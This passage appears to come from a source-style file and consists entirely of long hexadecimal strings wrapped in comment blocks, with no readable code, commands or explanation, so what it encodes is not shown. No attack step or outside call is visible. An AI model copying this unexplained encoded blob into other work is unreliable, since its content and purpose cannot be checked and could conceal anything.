92943224d9991a77dfe97a99c41d707ce69b44d0429f77741a587f71fa31adc0c391d6b736b639c1694575baa78b99af69cc19f749b726a187c04d5482fa88752a309cfbbc317de3b6d08a6b4f820d9fc7157ecc1ecb72f667579a8f6f5cfb5ce4b049b839102829be3d406ac48e0e75cea8b2bbd1b02680c78f14e179572cf47f828393bac21dcab4da2c5185b70e9e465bb0234b2cbfe39b1b5ae7e8008f614a64ba67dad153ee8430fdec8696439922f7711cda73328ae4849a864f489476857d37142ce723e516df3652d72801d370743ebad159940264766c637f65bdce103e7e1af9ce993035a7aad9de1d5b33ed37a6d64a735e1effb693803acab9cd1b1c59a287090cc2d359bf2a0af5c916298c1021a7429134d9bee98f4b21dd130ce968713fe20189bbbca4d23c544a04e623d43bb49eef315bcc6e621ca605afd326fd122c534edb430133eb771bcf3958112d68adf3236d08cf0a30570d288d5d2d0c2497392146c824883a320b07f41381c966fac5bd8fdc3c494a3b5d5415fd05999a929b3c8d6ecffe832bcd3f0b0d3114f7d757cdf91b778bb717ee563dceef360b0abf184afd176af741fa5b78bc926602ae7bb24f412c123e8f95cacd08408adc61cb61616d6782f7e92c3dffd4de30648f5892ef297c26a12d11125d81c14a264ad7f4f9bd9fef54fecb74ebe3ded8f013ec47c50c592e7e156996017202d636e686e547e46e206959a69a6be170c1bde678c83ff78622fe21844ba173a4e9b12cf04de535c627e443f8aaf64f0f4e06dd847f31689f4e9b4ea744b514b3a83eea7062e34ede9eb49a5a90cda5e8aa4e04f025a2919233eef66ad452289062a1301fab997acf076b28c89311ed3ed8126be0621a7636*/
/*f15ed69b3e47baeef57f6ab7949b9e0c6318b63e0ad5d3196eb55e10b37b4eeddf4717ae60246922917a57368c0103c9bc633ab52a08a79c76a463100b7b0f21759e9f69cbfd07775d1c9715ac8b0b9ea5cfab3a393940c39f334f66dfb246daa964e99e652673b6405ec213cd31f2755bbc2932e768dea89a74f85fd1323a8a56e53576d52237a453b5524c6da5c2db87147c1082045f20e3803cb63b8780cff8a8a4d9223ec03d8c6d004297d8f7ca19df7cfc50edbbac54ffbbc1c583246e75a5a34a6c76447f58fcd22492517c07b6ce217763751f56d8e053415c733151e141a9e52dbbcd4d1ef2af1f3b604cbd0611c02919f9e3ad4690d431532b8da82754ce7a280671c14968e5d439d374dfb80f202043eb4e2013ca3cd1dd7e3934aaf9cd818b9747ae9919e29134b2951f2d50f2caaefc15d0ff0997ab376a2447d255aaf3de6039547878a7872cd4c862b171ce12416000fb9a092e78ac34ab56a92a19a98bcd367dcc7d5f89eff0635d127a5f5b1ad60a3e0e59e8136754e59917254838245491501466e24b54a80859e7be4b32965da52aef6edd1af2392bb4bf463615ea9641068c8c4c7037b688a817d88563ed88c7a111dbd057b41cbc4561ea4aedce1da2bcf32ab9554d5d690ea53fa79196d6b1de6d7dd12eb3a213249a99f7315d5047768bea32a0592b5aa5a76fa4303621f9669e505bf3816129f0fdfe946fbdf21c2d6005cec99aa79a69549b0b4391ac1879f5fbf85474c5b44fd184c2fd79b33c53b18428ec9c0dbb9354f19dfee1364ed9f0336aa23dc4a9353059250c4fb63514d4477bcabe177571aa29fdd917cf84fd9577104d310b271babdd770502567854d0798087e222553b5f1aa963d41723c8ebb461e295411cb4d6f536f9121ddda6bcc9c7ca37d4f4acb8822b425cf2bfe886249e9e053c49835745a17a1b5286d2e60f7ada4e3d3a321d8a09edc181267c7be4b1622c5484fa4f2812725506b391e817f8b8664b6acb8ec7ae390993a0e34454d634e73535ba3cbcaa0ed3f87206b0182cb6890e7ee69c0d47d7181f9dce4002cdda1a544ef8bf6859966891040602d6598cb816782dfbaac3395b3051806240bb36200d48c4efd841d805e0acb1da0d4541b906f4a3d434eb44fb616c1d0ab5e0e4bff2624d007415a7ce8b516fbfd83abde259a03e70e148514b78088e7158140f9a7eb55fedbbc89890307d76f3aa6b05ff5c6949e88d4804ba329d1a775b381ebe0eb749cfc2c006176c35a4d5948e54df841de9ed34efdc21e179bcf613a18598fb33210017935e7290b09a82662a6a2bd044531cf2cecd1fa41c46f2818f5edf6514f1672a7cc6043f1aae964425b398ae2876f46839e40cc826f6a1612b146e2795baa5e65a4daa464a4f9d7dcfe1a1c26ef7468196d0e367d0981e20d92685884a6c33d01d6a187ebc66f0e96287d20567d7f90a831676f61ce121472c7b2da68d554d564baffa44991f59c5063c9e403b1619782050ea681c2161a36460a3477fd13880c8e388bc25870f2a9bd812ed5ec78bb2ac67a5b9689ccade21a41b95782556c872dbf1909926e13a0e8f7ca91e02522396c055959dded454a297e77b9455dc90f5ba28542911b2b7e23970a4d28865d1b627e796d08773e804826a7c93eb713fb549b738c1ef9e5c5e918592168973c87e202a499210db52ba5f5f7de92e018544f788b293f0a2e9c4f4d5df27c7d2157eeefa6ef989084320455d6d051e99a7de98d795dfdac80ad59b678497e2d86782128d529f4afae2f16c0d1b2a87d2c0bffa9b195207918005501debaa5c8458461f374f1b37b0d475d1523f56d784a57d01786dee392204225276627b36a3a9bd4a9ca8e51f9fe6714314a6bb66fe02d512b00b0fa482bd0e4355a47de156b8e2206883667845580789f6778b3770ad823634f08ff36acb1650aed979fdaf39d41eab0fd22fbe3d26506e27f2955cea433291b048a11f2532d392be703cc02d65ab4ed6b61de240edc563b4700ac2752e1f99b3e3a27559faa4b48f0e8540fac2cee2d4ecce45a3fa34db02a04b0734dfb8e13bdbfbab66b0fb3d45d23dbbfb89c47273928c6b51d387b92384f8d6947a4e54453d3b264201da67c22e0ced0c4ce5ebb4842e2e655ee3e26c2f824aeaf485b2d697d0dfe722fc8e8d6ad83d59d79d31e531fe832a6716f50708261614cc7c227cce44adb5f8477595affaed428203e2488e55dfa86a98b7ae49a5d5d64229472c71cd9abc57ffb755e68a2399c08ee92e721d3faa43ce1402ba09b0a7b91698f11242e4091237d2919df13273f46821981566302d35087b392f843d2240519309f570df9a55583201994ac4206e9f2a402e6e09d788e9a55d4e6cbadee2cf45b9af2a73a4a9af690f627a06cb617bc642df064f16371e50c0543496e16d5840d9fed6d61e0b5ebe396e30d4e77f5d96f9590e52b76253136455fadea06a2e21b32e4f266c525d1e9f3f41311de5428144cbc8884bf33193bf006089b2fdc7066f0d29c28938976e943fcdc28c80e05269f029be9286eb37a70e871a87e7574bf630edc99025ecce2f0f7249897db72fc0ae52ad9390b3d4dfc1aaa1602f94454ed8cc6349edc7d57992a932a941fb3645f1b808914264f11156afc51720f91945b1e41fb301af1c02c25278170d02c8f5d51a82303b83efe711905d9e62f6dfad817e0b87ccabd03acbee7f29342a4513e0910c126fccae52346e6ae64c86b7aa1c1b4bd836222cac425c30e62f9cc6ff19d8e14949ca2051fa43e57d28ad42d8eeac5f01d36c3054500a*/
/*219b3ae289fc7f0119f546e551008cd42fbf36432012558a7cdd4d244953bdf8ffc391434601d75ebaba0e408930116788a6b4f9ae8d9c2365e46324db99521ca50a51d5c60bc6a6123204170297143111032131017d349e391220493e1acd6a175a089edc42a72763869c0577f2702bba23e2b3f5c81065c58466ccbe3a95066e6596384d771c0b682451d36bc920d6804e62a290d832bf7e37cbab08f003e724d651095df85c6085352d8c4fbc86e9570f5485682bf5efb4edd5e03672072ecc55c445331b0cbddbd507d231e4d115a001d110f4e949e898e862a264313a7632bdf1b283d8155fff083b39dc6829aa1a0f00e6a42cbb5b248cae0b5635b58b2346fb78702107fcec3a9f316ed81868dacb3eaa5bca17fae5028176ba94cb77d517ae51bc3b7d11c66929cbedad9bcabeb57583759e363a701a892daa915639eace48de3e9d16932a7b15b3a1d14a93448d6272770b132d6fe80c78d857545cc8f7e9e1282b89a23ef0b949c71e713a30ef4bd146cba7817d349991c78f26defb9167eb7a71cb4856199febd47534f4e5d181dd712965ff4d76ef88ae382a56c8456c92399d9e26def957723a636fd01d9e48bcf9b2266e68d0e657eb637829c1cffa0cdf043ecf0f42a4a4d6eb26c466590ed4cb24477114dd88b632625b69c379ca6cd508f688897fedaaaca9c148ea6ff325d71f0810bc03630e6d4d4fcf4af98ca6bde243b3cce4b21f946cf2e04e4d4c15712974668d9509983473c5a5d27be9ace17e10f8fb1e0940932ca88effef54d7dac156f0cae8b5c495d879018a9c8e48186c29c6b6d05692782750cbebff57633ed68344f3173d144d4939a2dc39c9c21055adf580340a0491716f4336f9c0392ac092c2ecf9d5245f7abaf3349042405bfea7ba5ec23f0b7068209356cb635ae2abd4d8efa81100df4baf624725661f618fe1d0dab56a0b4dbb1160e579852d738e2f805e5316d64459f2d245c19ca0d47ad52086353a3f171478a93dc4de4a3224800f769a04c7fee0985ae16aaf78013891cfa49d4043a7ee2c9d888c8d3799c5ed1438f5f2a6ed78d0212a410f99ee7cdb5c5e7db7cc3de9c136dea32666ddacf6ee27b72fff7b4735ab418e92eb85376e2c38a0dad81347ce8f9f834aeba81ccaba28046122287b5f7ccc340e016edf4eb35c322cb20b5cf1ed027a524eaf61eb443667a704d6597ff40568147336d0bab1741fd545c372e4b561d2e46b1d5b5184e2ee868357feb37faf2ddd710b43ec1af6d37ddab683d89ef0f7bc5992ca9a562159fd232dc0d941442343db96f7505f2ed26364a6579d550f1b3698a39bc54accb2f2713520ce9aa814a0de26e1ef6ae848235349b7863d12757da9daa5a31e06f9d1c020bcbbeff8dec480f0d6449460b234bf0dd013d666f129cad04dc6a8173bb4d643124a63bb4dda4c526c15e0e93e9f50f96ea634ab3d411438686b554b2f70ff06e83d3124daedc5e1db0cca0e5b5197746c55497ebed2d0a828ca5bba8d2e0d385bbd4b48ba085edb9bac2be6dd4b3162adfde82e264e0706da6079da524ab240c6c23bda4178a015f7a23aca79da9b74fc9a3c1cad86168454933cdd0f86cd5817f6e1774db95fc4c29d0d897ccfffa06988dfa8e492784c175d535b66bcc84ee920b090ada0b579ba0a630b60fca68f7b50b21e616ed74b90c39f4ac62ecfa1da60369f979a8f158dfa4a4b1dd3fab4213f6a35f16c65caa13ca51c24b014bdf240aad0875f07fe8f47ad1dad593a77e13863044cd900b718135f70cecc064cf66a902bdc6c222d6dc08f8c1a536b96e42ae8a1dca76a1c1ff03c3d007ebf5dac8887b68f9fd83cc4db99c2ede60a2d55f9f3540eaa30a85277dfd82f828ae2dc4febe44b927cdaf5cdc7b7313206e49538b90b105fda8d8834d9c3c8d77f1c5c86d8382c0e3f2d3d5061c411e3c730faf40d3e6ef7df8b650b8a71372641df58e3d2b5b65d46c555ede5255097c121521e38acddf0313510bc60e4fe1981f8ed4961e7bc474eb3dd64241325f9553c88de98814322f0f82da340a688576e5b867f9259f3e40b2d65258d6d0c865ceafe44f10a1c81f52468a3f5ca24b5bf6bfe45fcf70031fa9ce206cade8b2a37aad9f88010e792f4b45dc911e6ab1ee7d32df1bd8f6ba308eefe0040433897c0ae69259832cc5162214e96a3921d432afe2631c4b881fda171243a0f0cae9266d7243299d19e5e8a5c3141a769935a5d7ae27ea154be9ae86644032da7f0ec2f66e6e9542e22735e4e25c2b5dc9eacc683e882a45dd9ad080db0e1eea91e23656384743a8b1a33c6c91cdcf60914950c030d6717d4155bc24f161232240cc36679d1406a4750653adb4a84f205c52a3563a2ab019108777088f51d44c91fc0f5161869559a5bf6db3e05058affcdc1a4696685638aae603194b00ccf4145d2e9b86b8c53618a0330adc3eb45a3b638339acf97bc5c8bdea7d9e3a5ab83465bd4a65d2114cba527f8a69454190d777893f1eb77ac3d1c2d70d104add70169ee8aac7e0ccd30de12b68730144f33182fdbc050779bc6551e1e99dcae385d319a407e2059b2a76f76c95db1d35f434f3c508c95022df7c6b5c9292818b402e0c77ac97301aa9d8e30947f417b0db2dc5ec8bed42d07fa4b81859cc5d011a2dd5d8de75c8a93741ba89000e1dd90cb734e3391e520b100a6c89869ab52cb95496b0607d56b3d52dd8b149edad0aee9d507e0e9a1a1929fe1246f39a96a8f63bc02200f2f939453c87145dcf746f1b4c99ecf5c169f4ac50aaf98dd3d7cd86c3b0794e5764827*/
/*7bd46a1ca57df14272457234b026baac82652ac130d8372845a1800b9c1edcfa41201de5cabcdb3852564d98da54bbd05db4f1cd1b5021eb1f4ee131f38c4bd807a651b74bba68fe4676cab396790db648900b3fd84c597e9a60a19846116a45096e0e1c43cdaaf3a5d591488625b98f0895e0a9bf90ae7f428a00b843434fb91da94e7c4a1f206a2485f2407bf1edafe1278ea46ae85663ffeaba76edf6916f42fb97fae22612849fd7e227f7b5cc468a24721e4190ca2acd944c8ae9652709f677a7663346869dabf5053303cf7cf901968f4276c93cdb902c4850108cd63f13532cb63f5d4d2379451fb48fdf9c98f133382bf0e5d51ff1dcbee16736b51617d3eb4fff44959c4315cd95580872b2c997a08eff3c718edb974bd3cfd884bf310dcface9ede85b8bf9717ab7bba17a28747ac6394085242cb9bb2140a1ddf4946892aa1aaa420ef8b8ffbb8c8da9ac96fe7f12f2452dc79f77191990f0bc61ebf3a7a503b066876d9453459c22d25a77cf3b12acd06c0d797360b9e28d0642e3606ebd0f6e898060d0c2a9578a08bba093c4d0d4cd2e82bc9559348273f1b16a550d2418d4e4d3066df95aaa14e914280335e6a94a397a72703c4b7a2abdecefa4f59d800a8891ea291246c1f2e21c521590859e8d741a276bf02ca37a2e992b991b5859d1153a9d8eaea6d78fd6ee7b98b895956127619310923d933c4911404704c46401e27491f876e7e8028bfff6fb569f0cd847226787d77018c82567479506323bcace05201313b1ae0a14460696a25b85707340c14a6417920d32312142a2131ef370f25c28a0ae98ca29e4b4ce7b90b74e7d2bfa4a580bd6cef7d5f100e0c33b53a29f33408fe0621d61ebaba90b66cb464ef3d81874389ae50cd22a7c7c01b39ffcd7cb692acbf750e6f1fc1ad1d603fcba52b88c30863bd07a750b7b55c80ad9f63ed3ca6dbc9f71d890039d93ffb9d264fb434630bb3c2a33b294d52996c0454a6742361bc66f5ef5f2893383ce68604fec35486efaa69765f87852df32d45953357607fcc05e9dbf113442e9743609793173bb77f938566d076939a63ced793c8a78d8864de8afad6348427d956f96655c025b63251de41dbcd3af0ef12798b226fb6c85b93ae3552d446f2218a16b1c3ce83f97a7433f9ed8afb88ec41b753cd7a6fb61f23316154137d168ee1c0a674747cfa21e529d0bf5536c594da926d6bb3a6225219177a732e7e89a3f735c2e78e7865fbc11040ce5999f22207444f48134ab7306fdcb83a47c652af414b849a8d1e242cea68a9d281fdba286c7d04d5c90c8660cba2178a976b2c6a983a0ba807e0aebf5c80b3a61b0a049b1f80ade98bccef6040b7f1fb554d0643a6d7e4175e39a2bb055f6b4ef695285661aae3a36e6d51b5a793dba4f32ff64a9c917c5b055e520b07b2a545b515e5eb28d57b48f7016b169a0048853a413472584e9d0ebabb0892a564f13c9122c6a4cb7fb000dfecb7752c88b0c0be0eac948ea59a592fce745cf2ff40fa755eab4f34623b8510b33e44ff5294f8b670f61c7755ba37c449a351328b3c7f9ea7a8fccd9b0b875be813d9e8532a14f5d78f68de22a5ced33151f26ab163154d1db66feccaf1a6c876c4c3cad9847bb37deb47b2f52c692b585d2b1a13ba31efad2d6976d153018f8cdff2cc7861f12677d9b75ac29238d5ab02138e60ab5c5e5c7b74bfa83f72ff86a5b1658162cccbaa8540af6442852c85a6caa21cfcc0fc199b242aecbdadf08f5e311b3d33b4739b1a208b16b648364b6ce2dff73611dc42d017a6b70382d689ac5041781a70f636aa8ff55f2e653e5568efbd0c219126681c424c50dccac9e1f873a008d7b6014f9bb961410a0593402fe8760ee07cf049a5c3b93cd75b846ba01ad928edbf6b6b4d003ad36e594c6f61b6e37638cf2eefc980349f5d64597fdae96ffa084c617d07818cb07113872655e63e4200b058ab050cbf7d5fddc0b13cbd08bf8708069748699e391f8f6369d4714248aa17480d06f66e9abb9d4db2b4e559ad0d6ce08529938daa9f9b62429db7fb40da5186f96011ef3d38c087af976d670c7f5a5286827916a4c5ff7ca9a46fc0fd620d10e4d670c780138af1924fab13028790153c5130974385c00576d977e6be38a2ea433e45b45ea8466acbd9a694e90da7d98d4b5c643681d49c6ab3e3867b4130ab5d2bc6943b7fa1852690655dd044667271e8052464aed02e5b47385319c1320823b0242377a05b25999e7e21eaf34d4b3ed4380d5d0b48108e326cf3883b770c368e965c916b05717bb5c8c6d6eac98c6b9f3ad60db767402896943e7adb8455d7382d3b0ccb80a0982af2ecf86463f67cd197c7d963ea2e5337321ce6a8843da31295e20a3064c66fbfc38051e3a73928b63d87d438d837eea2a9a36b39098f68571c6424db968067691e178de113dc8aea0f284d6c2e15699dc51286598c022244c5f0bc1615dc7dc44d70c33845c19b76fa31e0241c54aada34e4d087ab7cbc0ff3853855d7424ae9c1925cb5a6289fcdf9beae92584934339dd8e39981fe869bdf53add584d1a530f2c3fd865d1e133333151f1047025c5799d108394bd2d9bec712cb633cab45f4cb21219bed372a18122eb6ac2c5f9296bfbc1388ab2d2e480985c8aa9f99b7982aefa18e104934a5819975fe4f6faa91e1495eed6f0676ae06f1db95b761004ce559d086025e0105aee18be600a0b27e8cb3221c197a46fdecd9bb563fe023ce7c69ed0e76d29db752bf8a6bb880afa72cb797c8dd81dcc99d409f0418136c45bfc0ca06209*/
/*2f13fa153c9b1f3aa5a591c27d51e0e855a2c0375e6270f0dde33bbef270993aaba589eb1e17e7686f1e64ab2a9cfa0b2e789739e8d6821d9ff058e521080b082f2f1e0bf78fdd2fc13556e8041db6d837ffa0479229112f11187f185f24a6a7177344d0064bd50c2fe677962b40ee2c22fce322bc0eebe2a0a9551bf3ade46bed7c28e43423744a1c341f045aae88daac8b896d607a806de0f61709473e64ca1d7b546a968b78049cc2c51233a6a2b6864d161b38114b7762f1557625f8b7769a847e2aa95c19c52c0f63f21f41db04b3b959edb1130f7d757e62cd8d6702f0fae5efdc37ab40d91b0f9d60300e31cf96a541a7e6365a98a18030e1379d8d72ba23e3cbae77ce244af78bad28d0a4d4f72751a06794bc723ca4a69f4f9b6cf70f996bc6a6fcfd89a80669335e9c7de53f304c42f05e0e3287ab8b926e093854cad96e0b442407e793811efda40cdbd56687df8e72c002cf2ad9b8b26adb71a3060bdc8dde28ca19a66358c03c2e394dd07b5b41069c953eb3b98c5ebf34ecb20d7381be13d13fdfa380ad70d639c6292d5f6ef803d7ff9ed79d33c9cfe92901b21c0736990f776a409a7ad0ae4cf2ed939bfb8fe6786666b52c54cbf826547803ff7fc7ab8d2471051906053401ce8ae90eb9f265af7fa3bc015fbd2ad10161df2bcb7531aa37ccdca09845642fac571aa57077dcf1b5ca1233f5133c6cd5f6d33427bfd2111c43517a860d8a7d8478ab0987b48b68e6af37ebbbf291421e538b4cffee243ae5c7a7af4e0032645ee10b5939dd5da3dbc1039c5282e54e96c029c24c3e25e8d5a4736fce32769e82b740a92ecc6325f3eb3f14e282918fe4ee7be7e42a18ec1ee901d5e400336d27783a2012516a1ed27d6a4390be46befb11fe3efca44ae4e506d2353168f3789d36e2989ca2b2f87d28197038e3155b7ed251ec37a9c68e932e618aed11970269ceb800ac8c9a98b6df758daba468defd8edeede22f5dbe31f5a6f91e332ba7f2de9f61b9f326958667535ec6469c9b958aa502d84d6b86c538357449f75486117c3aa67fae20d6adbaabb5f9ebbb5c5bea757597e9e06b579e85e395f10a630fbc0946ad1c3edb27d26eedaaf2de9fbdf9642decb58efa8863576ebd425b78ab74cc8b6b56112dbfa9ad6eea5eb66a2cc55b833a3b0b9080a35fe6743d1ccf40663fb81502647f46fdd5cc0f932a800ac8df621d75b92d4d8e398f3de2adcb421e42841bc0ac07ab553391d3d6ec1938b86357e6c33a4fbf8a35ad44828bd9298170cd47606418cfab0aac56fffdfa9ff818274ba2f088ff5990e3fa192d8227eb62b43ca6cb129ad150150da23f83a37a4ef94caaef7e0cad1e47d30bb2111edea6686ac0aa0107d6c360dbd004c685fdefe8681853c903f183e9b0b74ca13a58d29409bd9ef51ce9833c3c352bdb5960b4c913b646a20e7860bb895fa72a0db1d99ac46a7af300f80ea5f189d559a0eae1da423103255f3be0b6317ad24b78c51785d34b72e11efdb37b1aa855532aa1d9f33ea9751791ebf55e36060c049fece23486e7455f70710c9f5beae5830cb5919430b2882213cf7ddb045b718b9cb5ca210748e1ca03403b9bc066d5a42c12d8fbd7282d0e179930ae295dc5d9309de8cf5d4c4c6e76b6241a074e30725961bad9adf738c8fe61417b551e69b62caaa74bfaa3a39d8c6f068fff0d67fca0e600e05009ee2683ac7700682751caaa5002b78ebf41a1f3bb0e53e9aa7be128d13925835723513de11360e36dbf362650d49a23e765068eb9f4f19affca4ce275ee6754af0a6aab6f7cc1219d5c7a86c308db1c44a821fc7ef58acd26cc2f90630ceef5ddf1565af14165b307f94e5397324b4dd77a3d0d8199f10612fe0f25285c3319a18c7ec452f9d95d1822c8cd9d42ba29a21ba9c8594006be1c24b00bf55309a0f9ff2a04c557e3e05d4b5a1ab240a1dd0101ef9db8e896ded575ee573ff5fab61dc7ba265f44fe6a237d74d69315bab3acd62566bf845524d22958ffbb925a05374a77f2d52f116c751ad7fd9e6dc8b9e2b6e512e5d2a9f542a03d4b196f8a7b2f18ce36cf3847ea486182482f66a32cb608eea8b660f631fa2a76ee1f9cc8b89177f38bb5b3c1e8f0f9ef6770261f6ed7321143dd4113d1df969f0c3bff07ae10f4ff921b0331fac5f781058fd6e64de6b70fb1219d9315ed0e8711cda8ecdf0abf15a2e569d3ee86abbba77b3fa426e27b8119872cd17d65408a980f40016dc6b54e8bfdf4f40127f896d97261258c83a6266d3c819b2b9fba3282511178e8fef914e43b1c45e88c0ca4827933c6588d6ec0e0d4a7906cea64bc73c7b31361953db46399f55dbe969931227a40738a4784b53e5d2e8a90f1bbc0abef1838cc42d9d79ce6d925e09227e6388c98988369a85fca67fe1cf28b3b5f340698e0f03bb703e16fdcf71a6c2d4f03d7c4de9cae1f5e88727441562d511023deecf51db4961860f19693557c13874f77fdff45bc050965b1a11d5b677373317a3af716a6b165e3f0c133f6d5d086b076e9884dfa77908b0262e4a8e54620b190981c3e437e7887995bd9f131a94586fa652fe00e283cdfa3faba4c8d3318828d6ab8157c867766142525da7a816bea2a5cbacac1fad84dc8b72ab25c9278b5db06b0159f394a3b597919597f8946fed3c17d11698a67aac2660cbb18adf1494d64f991eee8e279e21f450a59eff97193268c9c7510a62fe35daaf965d4cfa743634e727b416bcac693b5f4e1390566f3304bf581d79a2305e6ab7557bd6523fcd13a1a199352c783187e2db7bfaf8f26*/
/*734576c21f28cc87cda1192ddb92b4b5cc92e54f3122dfc4ee85b7e86f39e0f7d9187f624cff2902f4273b6bbb1b4bda814bec3a9b57186ab08b808d36131f9d555700fd595a6bb3517e692efa9a3a8889fb84650b29a2f6d7fc871ddb5e23618c0e10947271cdebca49baf503c1198a1bff272114d345f53d7b618bda683fb78950d51ebed466bd9e662305b8e33915e6993097e8869f994c317f737dda7a39f41d6f7b97e71b40d864d417d484177429a8eb3be32ba8ef7bb19e60a58a6f73485100081ef40a240fce930fbba0f625bc629c01e7c0e9420fb6749d6de23bd8b3ba4ca43a3da3f20f66b69579d6afd8ce6c907b8f18a2b3d57989e127858dda9fd0a48ae46bb26f0b089f0a916bc4984b0b39e24c73db7d61c57bfa09b25fca6611d086a903bb0d488511f7d268c40ac952ed869fce0a9f0ab3725fb8fb7ab151d0aa37136ca7e9d84585e5d933fb7d7ee05743095f21698ac82a417b3fec16e64ff7f402fd747e119c935356705cefa3acfd30abbe077ee711ed892357c10196c87688be33fc21b5f9510f03bed38aa80b23a66fad4a35abd0955212fbf91ecae768d6e24c38cd05a6eae3f07e2b58ce200ce731276927b41695e820fa53f4cc5b9fa66170ac60b53164f2a99b0faad0c516438afca40addf34c76ed8b69537f5df5d5314431c856c8ec39324b058cce77e1584dd3eb71842e0c16735a65ca55bf49957043f91b9f270c8fc2cb0a621cfebfe0adecb139e5c789578be002835e518165fc9b41bd4e0b623eb9cd080f2b8fbf7b4b5210fb2e1303a30a37adb48a6802b4487019495a3b0e3b3bfff0bc27a529959326a9420aca9bb967fca58a05dfd728d94a573141b04dbc36aaf0be913e7035ca62a593079583cc1a07997e92964fddbf13d86b7a7fc3a88175e2a6044fdbf79ac6b86787a11e31231fcb534a7bd88c48ff2855a159f4c19477a1695a00a1beda5ddc0f78945664bbc082d477928c9172a47ba9da641bfe232f4c3192c4649252a97aa5f69b5dee2a339d3e45afbe73d16dd1154ce50d0dc8e33e6d11054e6d853d2a06f30d62d718e57a549dec40fb2e406c9be7eee6d678782d9416cc6ad023a671ff960757419b2b1f479fa8ca687e11f859257d07044719f26113dcc44d096f7654c20e1685247c8684ee7c32e5ced1fda92e2b188d3c1b064fdb6bebac1dc3d25ef7ce406ba9435ae3a680f4d4ae4c30dece3fc7c69de3c530f26286621becc27439f12d3da16c5b11ba3ad4471d5568aa438cd988903121e32356ec6746ff2150fead037930eaca096c55e155bbfef8774ef256d611a340ccf9c262bec426739918b07cc0c9c6e51e6e2334dd1190ea5755a7630cba0b66f71fc4630761479e38748aa1e0643586ddb42fb5a8fa8fdcdc602cda5ce75315377d9374341fd01c2c7587aa1d1dba1c43a7ed2471a99c18d327e576fee5ac7815cded67d3fc9577b62dc9397ffff24997ecb9a1cd5f923347b9b55b36392e9b14b8ea72139794594ea401ae5c20dbcdb9636823ebede37fb3066464c19754c8c5f97c479702c76d2f5ca51c0f5b52e9d236609a87035681b005709c3c7ef9a22ae4c7b2d335b2e39964417af6c1c74527d8b5bfa218e6cd4a30e862d3ba9a3222a7e6431a1aecafc20c938c96b93bf775f1a36fde82e5d2b563b2630eb07d01571f866a884dd2138d47e39ea005af7f6b41eb5bd26a212a72c84627c887d4d8db2a487ea1aa170ac88fd4a89645c9f385f2f82277b60e233619c1bc07e3a0342f20a4a81a8477a3905846cab6f2305b27921ca0eb85b58e98c5c72b76e16436ebef0dcd8544fc054c3a6102ed6ea70d0bdbb5032df386c06198bf593f52388b53db5883d490effed613d2ae3d7a595b95d2603a282c457d6e7954ef259fc97d6cb14e674adf22c8e49141dadea4b2cce20247889157acb237ad3287fd78b24ff407b92bd606e7fa91dc427c11a3943ecbd344f6f01a24439af2583adcfa70db8e4ecfc0f738def5d03024cceb1febdc4afaa65de81d5697686d9e4099d1a824aa06e9be556f1174f54bb1d351a49f50357a62bbf6d5669c0c352cac468e3853f23b704766310518f6fee98868331ccbf156076519cb9690fcf902ced41056c5074f619f560e8c1ba3fdcdcd7caeee3632b63198fc9c89ff46981025c5acc267e1f92aa55b03f806a855a40bc3aad39f6506dae2cbcbc1113e2d8aa7af5c3c4122c94cce173a5f7084fbd1bb316ed9f5124079b4ffe76748205f30a13d8368e6fec8a5198e9160510226d2a8585f2e7975b0f4b47b80ed3715c85c77bd012c1370b919fb24061702bedd5c4d1ce4d5df09952d10ca655dc2d8381051d6b4dd7159841703fac007270a0235924ea136f46145177f38945cc61e264eb0c7c2c6aece618f221cae08f8799abd0d3de4d1208b9c9e3b43a987f7a27a34899ebfa80f984967b2102d19d2d2ff956fa1c3b089f4a6e9dbd8c65ddc7fbb8e68289c5a5cc9300295f7411de96a166e3f15efd9dbfd68226e594daf6a2470f89b9a3cf31a5054e13bdb6a15110ffd07a3330363aa9acbcccac91f618052e806287fb8c422b049e5638750ceca74e9b52af9c87989e1adca115b92b00dd3b6b2ca2a8db2cd723f665483c6bee39a7f8331c8ac06a7bbbaccf1e3728435f686cfa9f1b15603233dc2cfe6b6ccf8ae040f8a123542e6168706aec21bb4e5908e3fd67daed31c0a1089f8dc1e3acd6d317dc2fc9e3b57e2b5cf6590089df052468b23864b43e5fccf1f3cd0a7b65f049a9578b02b63bd3252cea44a3ec96c5b7b48b5658a9904cf*/
/*0a711fd3da112aa6051f4deaa5f1ba9f0b244a59d3d7d0a1d26d6506709fe2328d3f20d03eb263bc99d089d536acfa59fb43a365c772746b74e309bdc1f645e36444ca488b68c989316da00fb4a254b1d5f723032c289d2468f9ab9b50bb744f2ab9eac754299eae3ffb31c4321fcbff8ab3e126103795afdf5dafc53f02bc2cac428f9c3752484559952cc7c2cd0775cae9aeb01aa3d84d087d4931c14dac0f56582b113d1f44de2c180729893ecc8e0f31ce75adb083995d6e88c354ed099b3ba74f601cb4f313741379d3ee64892c922041b687df385149ad530d639351ec8961a457508b5404a42d2d9cc519348ed8807f606242d68560e56fd8d36e208b7b52c490a0db03bef07fa21502d6bf895d9542869a233d7220551e7b33de9d714c867301147072386da8c63f2bc19c6bb528d992496e08691464fef6ed303fc0983ecd87b69e631210e2c28fbb0c172655778c8a9616cb2c2a6959b9bb7797e2eb956a7c9ced70aa115716060582bc8a24a97410549ba77315a12e141b5010d09fd4a37c111ae6b300475d997041427eab26a3875513b84db6cb01debbe555ae0d4a813c1b617db7d2b2b113cb81bc00c42e4746b50e594a27f9b4f40656315e9d4d70199b5bad9abc0cecbb2715c5af3990a1c207f584a6cbc1d2c8c071cb381ca630ddf07db596767438f26ad921389d0641215252c23612422f6ea6a3179826f602c91347c17a17071db545f75f508a6da6a422a48fa0d4b973bbfcaebe94ae875b84a940a77632bcc96f9777260a2955f55746489313bdd6e3ff1cc4347716d1c6e0e0f08589d43256cd31f013d36caffbdfe6a814f2685f0fec45fc880bdca20a6cbfbe98b1c96b8c4d5de01a1eff95344ecbe32a0f3b1915104cb632eee3600270047da0b532fffcbbb76bd65449a19495779334e71b8404a2414ee2feed899d05d27bf1a7e7959e43012204802c3bcff662fc1143ed8630e316b76001492eaf70d27433a976ffebb3152f75afeb1ed1a6b17a31e06f25d19fd0bd128f1c9557ce810bc67b27f68c13a0bd9acd629e46ef5be62525d96156732a1c8c7cd082a2e4991e2696a864b5e4c35d4bb1d18b7e58315f1def2b942fd9d709f2610c2ade467b465bf09ecae4af66504f258839b1e45fbafb53d2a8097f5a33afd8d093d2487dcf1d8bfee74dad3f4e54b57be1b768fabb03d5311f34cf1a2afe82bd454965b801a65f2e6fcd13ff9748f3dfe2a7a50f23c2182d9661b9fb6670bcd54f8186fc89f612db74ca1e3aaaed3242cbe527fc6f1401b33a4e2fa46be306e1524cd5316baef3514d320ba31546a26a7b6fe5731ca7959